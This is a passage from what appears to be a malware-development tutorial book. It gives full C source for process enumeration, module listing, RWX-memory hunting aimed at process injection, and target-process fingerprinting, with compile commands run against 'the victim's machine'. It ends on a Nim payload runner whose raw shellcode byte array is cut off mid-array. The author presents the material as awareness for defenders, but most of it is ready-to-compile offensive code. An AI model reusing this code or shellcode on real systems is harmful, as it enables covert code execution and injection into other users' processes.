"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
This code creates an ADS named hiddenstream on the specified file and writes our
payload data into it. It then reads the data back and prints it for checking correctness.
In a real-world scenario, the data could be a malicious executable like reverse shell
or another shellcode, which would need to be extracted to a temporary location and
executed separately.

demo
Let’s go to see this logic in action.
Compile it:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

Then, move our test victim file meow.txt to C:\temp\:

And finally run:


.\hack.exe

380
We can check alternate data streams with command:
Get-Item -Path C:\temp\meow.txt -Stream *

381
As you can see, everything is worked as expected! =.. =
Note that the Alternate Data Streams (ADS) feature is specific to NTFS, other file systems
like FAT32, exFAT, ext4 (used by Linux), etc., do not support this feature.
This method of executing code is often used by APT29 and APT32, software like Pow-
erDuke
I hope this post spreads awareness to the blue teamers of this interesting malware dev
technique, and adds a weapon to the red teamers arsenal.
T1564.004 - Hide Artifacts: NTFS File Attributes
APT29
APT32
malpedia: APT29
malpedia: APT32
PowerDuke
source code in github

382
47. malware development trick. Enumerate process modules. Sim-
ple C++ example.

Today, this post is the result of my own research on another popular malware develop-
ment trick: get list of modules of target process.
Let’s say we created successfully DLL injection to process. How to check if DLL in list
of modules of our process?

practical example
First of all, we just use one of the methods to find target process PID. For example I
used this one:

383
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ph,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {


int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address


fNtGetNextProcess myNtGetNextProcess =
(fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return pid;
}
Then, just use Module32First and Module32Next functions from Windows API.
// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {

HANDLE mod;
MODULEENTRY32 me32;

mod = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);


if (mod == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot error :(\n");
return -1;
}

me32.dwSize = sizeof(MODULEENTRY32);
if (!Module32First(mod, &me32)) {
CloseHandle(mod);
return -1;

384
}

printf("modules found:\n");
printf("name\t\t\t base address\t\t\tsize\n");
printf("======================================================================\n");
do {
printf("%#25s\t\t%#10llx\t\t%#10d\n", me32.szModule, me32.modBaseAddr,
me32.modBaseSize);
} while (Module32Next(mod, &me32));
CloseHandle(mod);
return 0;
}
As you can see, the code is a bit similar to the PID search logic with CreateToolHelp32Snapshot,
Process32First and Process32Next.
So, the full source code is looks like this (hack.c):
/*
* hack.c - get the list of modules of the process. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/09/25/malware-tricks-36.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")


#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(


_In_ HANDLE ph,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {


int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address

385
fNtGetNextProcess myNtGetNextProcess =
(fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return pid;
}

// function to list modules loaded by a specified process


int listModulesOfProcess(int pid) {

HANDLE mod;
MODULEENTRY32 me32;

mod = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);


if (mod == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot error :(\n");
return -1;
}

me32.dwSize = sizeof(MODULEENTRY32);
if (!Module32First(mod, &me32)) {
CloseHandle(mod);
return -1;
}

printf("modules found:\n");
printf("name\t\t\t base address\t\t\tsize\n");
printf("======================================================================\n");
do {
printf("%#25s\t\t%#10llx\t\t%#10d\n", me32.szModule, me32.modBaseAddr,
me32.modBaseSize);
} while (Module32Next(mod, &me32));
CloseHandle(mod);
return 0;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID

386
pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " :
"process not found. pid = ", pid);
if (pid != 0)
listModulesOfProcess(pid);
return 0;
}
You can use this code to check if a DLL is in the list of modules of the target process.

demo
Let’s go to see this logic in action.
Compile it:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \ -fmerge-all-constants -static-libstdc++
-fpermissive -lshlwapi

Then, open target process in the victim’s machine:

387
And just run our hack.exe:
.\hack.exe mspaint.exe

388
Also, check with DLL injection logic:

389
As you can see, everything is worked perfectly! =.. =
Keep in mind that this code may have limitations and dependencies on specific Windows
APIs. Additionally, it relies on the process name for identification, which may not be
unique.
This trick is used by 4H RAT and Aria-body in the wild.
I hope this post spreads awareness to the blue teamers of this interesting malware dev
technique, and adds a weapon to the red teamers arsenal.
Find process ID by name and inject to it
Find PID via NtGetNextProcess
4H RAT
Aria-body
source code in github

390
48. malware development trick. Enumerate process modules via
VirtualQueryEx. Simple C++ example.

Today, this post is the result of my own research on another popular malware develop-
ment trick: get list of modules of target process.
It’s similar to my previous post about enum list of modules, but in this case I used
VirtualQueryEx

practical example
First of all, we just use one of the methods to find target process PID. For example I
used this one:
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ph,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {


int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address

391
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return pid;
}
Then, create function which opens a specified process, iterates through its memory
regions using VirtualQueryEx, and retrieves information about the loaded modules,
including their names and base addresses:
// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
HANDLE ph;
MEMORY_BASIC_INFORMATION mbi;
char * base = NULL;

ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);


if (ph == NULL)
return -1;

printf("modules found:\n");
printf("name\t\t\t base address\n");
printf("======================================================================\n");

while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) ==


sizeof(MEMORY_BASIC_INFORMATION)) {
char szModName[MAX_PATH];

// only focus on the base address regions


if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase,
(LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
printf("%#25s\t\t%#10llx\n", szModName,
(unsigned long long)mbi.AllocationBase);
}
// check the next region
base += mbi.RegionSize;
}

392
CloseHandle(ph);
return 0;
}
As you can see, the code enters a while loop that continues as long as the
VirtualQueryEx function successfully retrieves memory information. This loop
iterates through memory regions within the target process.
Then checks whether the AllocationBase of the current memory region matches the
BaseAddress. This condition ensures that it only focuses on the base address regions.
If the conditions are met, it proceeds to retrieve the module name.
if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR)
szModName, sizeof(szModName) / sizeof(TCHAR))) - The GetModuleFileNameEx
function is called to retrieve the module filename associated with the current memory
region’s base address. If successful, it stores the filename in szModName.
If the module name retrieval was successful, the code prints the module name and base
address in a formatted manner.
After processing the current region, the base pointer is incremented by the size of the
region to check the next region in the subsequent iteration of the loop.
That’s all.
So, the full source code is looks like this (hack.c):
/*
* hack.c - get the list of
* modules of the process via VirtualQueryEx. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/11/07/malware-tricks-37.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")


#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(


_In_ HANDLE ph,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE Newph

393
);

int findMyProc(const char * procname) {


int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address


fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return pid;
}

// function to list modules loaded by a specified process


int listModulesOfProcess(int pid) {
HANDLE ph;
MEMORY_BASIC_INFORMATION mbi;
char * base = NULL;

ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);


if (ph == NULL)
return -1;

printf("modules found:\n");
printf("name\t\t\t base address\n");
printf("=====================================================================\n");

while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) ==


sizeof(MEMORY_BASIC_INFORMATION)) {
char szModName[MAX_PATH];

// only focus on the base address regions


if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase,
(LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);

394
}
// check the next region
base += mbi.RegionSize;
}

CloseHandle(ph);
return 0;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID
pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " :
"process not found. pid = ", pid);
if (pid != 0)
listModulesOfProcess(pid);
return 0;
}

demo
Let’s go to see this logic in action.
Compile it:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lpsapi -lshlwapi

Then, open target process in the victim’s machine:

395
And just run our hack.exe:
.\hack.exe mspaint.exe

396
As you can see, everything is worked perfectly! =.. =
Keep in mind that this code may have limitations and dependencies on specific Windows
APIs. Additionally, it relies on the process name for identification, which may not be
unique.
This code can also help you develop your own script to work with process memory, for
example for forensics or other tasks on blue team practical cases.
I hope this post spreads awareness to the blue teamers of this interesting malware dev
technique, and adds a weapon to the red teamers arsenal.
VirtualQueryEx
GetModuleFileNameEx
Find process ID by name and inject to it
Find PID via NtGetNextProcess
source code in github

397
49. malware development trick. Hunting RWX - part 2. Target
process investigation tricks. Simple C/C++ example.

In one of my previous posts, I described a process injection method using RWX-memory


searching logic. Today, I will apply the same logic, but with a new trick.
As you remember, the method is simple: we enumerate the presently running target
processes on the victim’s system, scan through their allocated memory blocks to see if
any are protected with RWX, and then write our payload to this memory block.

practical example
Today I will use a little bit different trick. Let’s say we are search specific process in the
victim’s machine (for injection or for something else).
Let’s go to use a separate function for hunting RWX-memory region from the victim
process, something like this:
int findRWX(HANDLE h) {

MEMORY_BASIC_INFORMATION mbi = {};


LPVOID addr = 0;

// query remote process memory information


while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)

398
printf("found RWX memory: 0x%x - %#7llu bytes region\n",
mbi.BaseAddress, mbi.RegionSize);
}

return 0;
}
Also a little bit update for our main logic: first of all, we are search specific process’
handle by it’s name:
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {


int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address


fNtGetNextProcess myNtGetNextProcess =
(fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return current;
}
As you can see, we use NtGetNextProcess API for enumerating processes.
So the final source code is looks like this (hack.c):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html

399
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(


_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {


int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address


fNtGetNextProcess myNtGetNextProcess =
(fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return current;
}

int findRWX(HANDLE h) {

MEMORY_BASIC_INFORMATION mbi = {};


LPVOID addr = 0;

// query remote process memory information


while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

400
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)

printf("found RWX memory: 0x%x - %#7llu bytes region\n",


mbi.BaseAddress, mbi.RegionSize);
}

return 0;
}

int main(int argc, char* argv[]) {


char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " :
"process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);

return 0;
}

demo
Let’s go to see everything in action. Compile our malware source code:
x86_64-w64-mingw32-g++ hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive \
-w -lpsapi -lshlwapi

401
And run it at the victim’s machine (Windows 11 x64 in my case):

Try on another target process, for example OneDrive.exe:

Our logic is worked, RWX-memory successfully founded!


As you can see, everything is worked perfectly! =.. =

402
practical example 2
But there are the caveats. Sometimes we need to know is this process is .NET process
or Java or something else (is it really OneDrive.exe process)?
For .NET process we need interesting trick, if we open powershell.exe via Process
Hacker 2:

As you can see, in the Handles tab we can find interesting section with name
\BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156,
so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.
So, let’s update our function findMyProc, like this:
HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function addresses


fNtGetNextProcess_t myNtGetNextProcess =
(fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection =
(fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);

403
// Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];

WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";


sName.Buffer = (PWSTR) malloc(500);

// convert INT to WCHAR


swprintf_s(procNumber, L"%d", pid);

// and fill out UNICODE_STRING structure


ZeroMemory(sName.Buffer, 500);
memcpy(sName.Buffer, objPath, wcslen(objPath) * 2); // add section name "prefix"
StringCchCatW(sName.Buffer, 500, procNumber); // and append with process ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName.MaximumLength = sName.Length + 1;

InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);


NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}

return current;
}
Just convert process id int to UNICODE STRING and concat, then try to find section
logic.
Here, NtOpenSection API use for opens a handle for an existing section object:
typedef NTSTATUS (NTAPI * fNtOpenSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
So, the full source code for this logic (finding .NET processes in the victim’s system)
looks like this:
/*
* hack2.c - hunting RWX memory

404
* detect .NET process
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(


_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(


PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {


int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function addresses


fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);

// check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section


UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;

405
WCHAR procNumber[32];

WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";


sName.Buffer = (PWSTR) malloc(500);

// convert INT to WCHAR


swprintf_s(procNumber, L"%d", pid);

// and fill out UNICODE_STRING structure


ZeroMemory(sName.Buffer, 500);
memcpy(sName.Buffer, objPath, wcslen(objPath) * 2); // add section name "prefix"
StringCchCatW(sName.Buffer, 500, procNumber); // and append with process ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName.MaximumLength = sName.Length + 1;

InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);


NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}

return current;
}

int findRWX(HANDLE h) {

MEMORY_BASIC_INFORMATION mbi = {};


LPVOID addr = 0;

// query remote process memory information


while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)

printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSi


}

406
return 0;
}

int main(int argc, char* argv[]) {


char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " :
"process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);

return 0;
}

demo 2
Let’s go to see second example in action. Compile it:
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive \
-lpsapi -lshlwapi -w

Then just run it. Check on powershell.exe:


.\hack2.exe powershell.exe

407
Now, second practical example worked as expected! Great! =.. =

practical example 3
Ok, so what about previous question?
How we can check if the victim process is really OneDrive.exe process? It’s just in
case, for example.
Let’s check OneDrive.exe process properties via Process Hacker 2:

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_t
Of course, I could be wrong and the presence of this string does not guarantee that this

408
is OneDrive.exe process. I just want to show that you can examine any process and
try to find some indicators in the section names.
So, I updated my function again and full source code of my third example (hack3.c):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(


_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(


PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {


HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function addresses


fNtGetNextProcess_t myNtGetNextProcess =
(fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection =
(fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
// check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
UNICODE_STRING sName;

409
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;

WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";


sName.Buffer = (PWSTR)objPath;
sName.Length = wcslen(objPath) * sizeof(WCHAR);
sName.MaximumLength = sName.Length + sizeof(WCHAR);

InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);


NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}

int findRWX(HANDLE h) {

MEMORY_BASIC_INFORMATION mbi = {};


LPVOID addr = 0;

// query remote process memory information


while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)

printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSi


}

return 0;
}

int main(int argc, char* argv[]) {


char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);

410
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " :
"process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);

return 0;
}
As you can see, the logic is simple: check section name and try to open it.

demo 3
Let’s go to see third example in action. Compile it:
x86_64-w64-mingw32-g++ hack3.c -o hack3.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive \
-lpsapi -lshlwapi -w

Then, run it on the victim’s machine:


.\hack3.exe OneDrive.exe

411
As you can see, everything is worked perfectly again!
If anyone has seen a similar trick in real malware and APT, please write to me, maybe I
didn’t look well, it seems to me that this is a technique already known to attackers.
I hope this post spreads awareness to the blue teamers of this interesting process inves-
tigation technique, and adds a weapon to the red teamers arsenal.
Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++
example.
source code in github

412
50. malware development trick. Run payload via EnumDesktopsA.
Simple Nim example.

This post is just checking correctness of running payload via EnumDesktopsA in Nim
programming language.
EnumDesktopsA function passes the name of each desktop to a callback function defined
by the application:
BOOL EnumDesktopsA(
HWINSTA hwinsta,
DESKTOPENUMPROCA lpEnumFunc,
LPARAM lParam
);

practical example
Just update our C code from one of the previous posts with Nim language:
import system
import winim

when isMainModule:
let payload: seq[byte] = @[
byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0, 0x0, 0x41, 0x
0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b
0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41,
0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20,
0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0x
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20,
0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6,

413
0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44,
0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40,
0x49, 0x1, 0xd0, 0x3e, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff
0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49
0xc1, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
